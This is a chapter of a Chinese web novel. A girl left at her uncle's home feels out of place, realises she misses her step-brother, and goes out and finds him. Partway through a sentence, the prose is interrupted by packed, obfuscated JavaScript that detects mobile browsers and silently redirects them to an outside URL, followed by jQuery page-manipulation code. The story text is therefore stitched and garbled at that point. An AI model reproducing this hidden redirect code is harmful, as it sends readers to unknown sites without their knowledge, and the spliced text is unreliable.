26. 不需要羡慕
作品:《囚徒》 这是和周珩失联的第一天。
袁意撑着下巴隔窗望向小区的绿化带,天气回暖,但树叉子依旧孤零零,光秃秃的杆上冒出一点嫩芽。
她身上套着一件厚羽绒服,围巾严严实实卷了三圈,遮住大半张脸。
很冷。
有点像那个周五的温度,袁意一只手被杨婉清牵着,另一只蜷缩在长袖里。她连连回头,望向越来越远的教学楼,然后抿着唇跟着上了出租车。
出租车打了好几个弯,和往日的行驶路线截然不同,袁意双手平放在腿上,坐得笔直又拘谨。
她安静地等到车缓慢停下,身侧女人一言不发付了钱,香水味也一齐渐渐散去,她没再牵她,袁意也习以为常地跟在杨婉清身后。
陌生的小区和往日温馨精致的独栋洋房格格不入,这里绿化尚好,人流却杂乱。
袁意跟着到了一单元,她静静地站在杨婉清身后,看她按开电梯,踩着高跟鞋走到按键旁,还未撕掉表层塑料纸的按键凹凸不平,起着白毛边。
狭小的空间仅剩二人,电梯内的广告随电梯上升开始自动播放,袁意看了一眼几乎和自己齐平的杨婉清,终于开口,她低着头看一侧的镜子,终于出声问,“妈。”
“不回叔叔家了吗?”
香气随着一阵叮里咣当乱了一下,她耳朵被吵了一下,听见杨婉清声音在电梯里回响,“前段时间委屈你了,以后都不用去了。”
杨婉清语气倦怠,“也没什么好回的,去你舅舅家先住一下,等我忙完这段日子再来接你。”
电梯叮咚一声开了门,高跟鞋率先离开了电梯。
袁意心一沉,但高跟鞋的声音已经渐渐远去了,她顾不上想这其中的变故,急忙跟了上去。
开门的人似曾相识,几年的时间团圆了袁意干瘦的身体,饥黄的脸有了血色,白里透红,也让她几乎要忘记那段掺满苦水的日子。
她抬头看去时,发现是当初接她的男人,也就是她舅舅。
杨宗伟愣了一下,对袁意变化有些茫然,从她身上缓慢移开视线,没什么表情地让他们进来。
袁意蹲着换鞋,听男人声音淡淡响起,“姐,你们吵架了把她带来干什么?”
“先放你这,就几天。”杨婉清对着镜子补口红,“用得着这个态度吗,这些年你也没少拿好处。”
她套鞋套的动作一顿。
“吵架就吵架,这些年吵的还少吗?”杨宗伟嘲讽一笑,“我倒是没什么,就是家里没空房间。”
袁意眼尖地看见口红险些断掉,女人声音尖细但温柔,她回头嗤笑一声,“那就和小九先挤一下,你亲外甥女,总不能让她睡沙发吧。”
“小九长大了,陌生人不方便。”
杨婉清哐当一声从包里掏出一踏钱,“少废话,就这几天,等我找好房子就带她走,用不着你在这阴阳怪气。”
“不是钱的问题,你至于把她带来带去吗?”
“那我怎么办!总不能和姓周的闹掰,还把女儿扔那吃他的喝他的。”
“你们总会和好的。”
“和好什么,小兔崽子就没想过家里有我的位置,他爹和他一个德行!”
“姐!”
回他的是怒气冲冲的摔门声。
而袁意像是一具溺水的尸体,从平静的水面探出她湿漉漉的头,发丝黏腻地糊在脸上,几乎要窒息。
她睁着眼,慢吞吞喊了一声,“舅舅,我哪都可以睡。”
*
袁意收回思绪,从叫唤声中开门,坐到餐厅,静静看着满桌的家常菜,冒着热气。
舅母很热情,替她清理了杂货间,让她暂时住了进去,并温柔安慰她,想住多久都可以,不用管杨宗伟,他只是刀子嘴豆腐心。
这里的生活温馨美满,初见时的粉团子——她表妹已经长势喜人。
表妹咯吱咯吱笑着,身体一歪,就那么躺到舅母怀里,她被轻而易举地抱在怀里,然后习惯的撒娇道,“妈妈,帮我剥虾嘛。”
“好好好。”妇人眉眼一弯,熟练的开始剥壳,虾仁Q弹白嫩,壳留下的橙色斑印显得那只虾更加诱人。
舅母顿了一下,转而把筷子方向一转,“小意,吃虾。”
袁意低头扒着饭,从筷子间隙看那只虾仁,只觉得扎眼。
虾离她不近不远,在舅母的筷子上,她腼腆笑了笑,随口扯了个谎,“谢谢,我海鲜过敏,表妹爱吃,还是给表妹吧。”
寒暄客气后,一家三口其乐融融,袁意再也看不下去,她轻声退下,逃也似地钻回房间。
她来得仓促,什么也没带,只剩身上一套衣服,书包里装着这周的作业,以及几封挣扎无数遍也不知道该不该送出去的信。
袁意抱着全部家当,缩在床角,漫无目的地看天。一家三口反复在她脑海里浮现,年幼天真的表妹,温柔的母亲,和爱护女儿的父亲。
完美的一家三口,她一直幻想着的那种,居然如此轻易就在一直冷淡的舅舅身上见到。袁意忍不住唏嘘,耳边又反复回荡起一声又一声甜甜的“妈妈”。
这让她突然想起偌大的二楼,惯爱冷脸的少年,也是这样,不耐烦地听她一声又一声叫哥,然后十分不情愿地帮她做事。
这感觉太像。
袁意低头看着那封不属于她的信,突然发现,她有一点……在想他。
不是在幻想所谓的妈妈,也没有在想一个属于她的幸福美满的家,她只是平平淡淡,普普通通地在想周珩。
没有为什么,就是在想他。
在想她的哥哥。
她很确定。袁意第一次觉得这样的日子比初到周珩家还难熬,她最害怕的东西在悄然无声发生了转变。
有一根无形透明的脐带,不知什么时候冒出来,仅凭惺惺相惜的那份情和时间打磨出来的习惯,让习惯四处漂泊的她突然有了牵挂,把她和他拴在一块昏暗飘荡的空间。
那么他现在在干什么?
袁意突然想去找他。
不管这个决定是否理智,感性在这一刻罕见战胜了她长达十几年的理性。
袁意腾地起身,她推开门,正好碰上系着围裙的舅母端着一盆水果要进表妹的房间。
两人措不及防碰上,女人脸上露出一丝尴尬,紧接着不自然地清清嗓子,柔声说,“小意,怎么啦,正要喊你等下去吃水果呢。”
袁意:“……谢谢。”
袁意朝她委婉拒绝后,面不改色撒谎,“我等下可能要出一趟门。”
“好。那你慢点。”
他们之间是敷衍的漠不关心,但袁意毫不在意了,她着急去找另一个人。
杨婉清是不太信弟弟的人品,摔门时不忘给她塞了三百块钱,不管怎么说,她对这个女儿在物质方面不算吝啬。
不多不少,刚刚好够她撑到周一开学。
袁意攥着三张人民币,生疏地下了楼,她在迷宫似的小区走了几圈,费力拦到了一辆出租车。
“师傅,到碧桂兰庄。”
“呀,姑娘,送不到里面,顶多给你送到门卫那,那边查得严,除非你是户主。”
她默了瞬间,改口成了蒋览家。
往日司机接送,她跟着车进出,丝毫不觉麻烦,经司机这么一提示,袁意才想起她没法进去,也不能打电话到周家。而她既没有手机和电话卡,也不清楚周珩的联系方式。
她似乎只能先去蒋览家,袁意根据印象,模模糊糊报了一个地址。
这行为似乎太过放纵,又不理智。袁意咬着唇忽略脑内那一块名为理智的叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390960|182456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嚷,最后把它崩掉,她果断又重复一遍,“走吧,师傅。”
于是车开始发动。
但她没走成。
车窗半开着,冷风灌了进来,刺眼的白光透过玻璃反射,像是什么东西在吸引着她,袁意迎风转头,拨乱额间乱发,手却一滞,停在半空。
她顺着冷却柔的风望向点点大的人影,和车身启动渐渐加速的方向一致,在不停靠近。
白光下的人,越来越近,推着单车,脸上似乎透着迷茫,时不时看一眼手机,再四处张望,打探,像在找什么。
袁意猛地大喊,“停车!停车!”
司机一愣,还来不及反应,脚下率先刹了车,再看向窗外时,少女黑色的影子已连蹦带跳狂奔向对面,车门来不及合上,被风吹着微微动。
柳条柔软地垂下,还未见绿芽上涨。凉凉的风,同样的气味在衣服触碰那一刻飞快融合,袁意重重地扑向光影下错愕的少年。
他柔软的发随风乱飘,修长的五指下意识扶在袁意脑后,肤色在阳光下像在发光透明,对突然扑来的滚烫热源显得格外慌张,但很快稳定下来。
袁意像太阳似粘在他身上,很烫,但周珩身上凉凉的,但让人心安。
他双手牢牢接住了她,还来不及说半句话,怀中的人竟然语气委屈的,呜呜咽咽地开始撒娇。
罕见的声音从袁意口中发出,她蹭了蹭周珩的胸膛,抱紧他,第一次真情实意地说,“哥,我好想你。”
从那天五点,到今天下午三四左右点,也就23个左右小时。
一向保持形象的袁意突然成了学会了撒娇,她嘤嘤嘤地委屈着,周珩却发自内心的闷闷笑了一声。
那一声嫌弃的“没出息”终究没开口,他矜持地看怀中的少女,问,“真的?”
“真的。”
“那怎么也不打电话,你不会不知道我手机号吧?”
“我没手机。”
“你这是坐车打算干嘛?”周珩垂眼看她,“找我吗?”
他眨眨眼,“这么慢,我要是不来找你,你是不是就不找我了?”
袁意闷闷地不开口,她贴着周珩,半天憋出一句,“我也不知道为什么,有点想你了。”
“啧。”他骄矜地挑挑眉,“肉麻。”
“你想我吗?”
“不想。”
“那为什么在这里,不是来找我吗?”袁意从他怀里抬头。
“路过,顺便来看看。”周珩挑挑眉,“谁知道就被你缠上了。”
“那我饿了。”袁意不管,径直忽略不爱听的。
“他们不给你吃饭?”他松开手,盯着袁意仔仔细细打量一遍,“怎么感觉瘦了?”
她只离开他眼皮子不到一天,上哪瘦这么快。
“没有。”袁意像条灵活的八爪鱼,不声不响又缠上他,她的手灵活地穿过周珩的手心,然后紧紧扣上,“我要吃虾。”
“知道了知道了。”周珩牵着她往出租车上走,一边絮絮叨叨,“等下给你买个手机,省得找不到我。”
“你帮我剥虾。”他们上了车,袁意背对着他,望着窗发呆,突然打断他,没头没脑来了一句。
周珩一愣,没出声,惊讶地看着她,她又重复,“你帮我剥。”
“你还挺会使唤人啊。”他暗笑了一声,干脆摇头,一脸戏谑,“我不。”
“哥。”袁意咬着唇闷闷不乐,又重复一遍。
“好了好了,祖宗,不帮你帮谁。”周珩无法抗拒她的眼神,她第一次这样坦率露出自己的柔弱,他无法拒绝,也不能,于是拍拍她的脑袋,“走吧。”
他推出单车,灵活地上车,向袁意伸手,“上来吧。”
光逆着打在他脸上,露出唇畔一丝不起眼的弧度。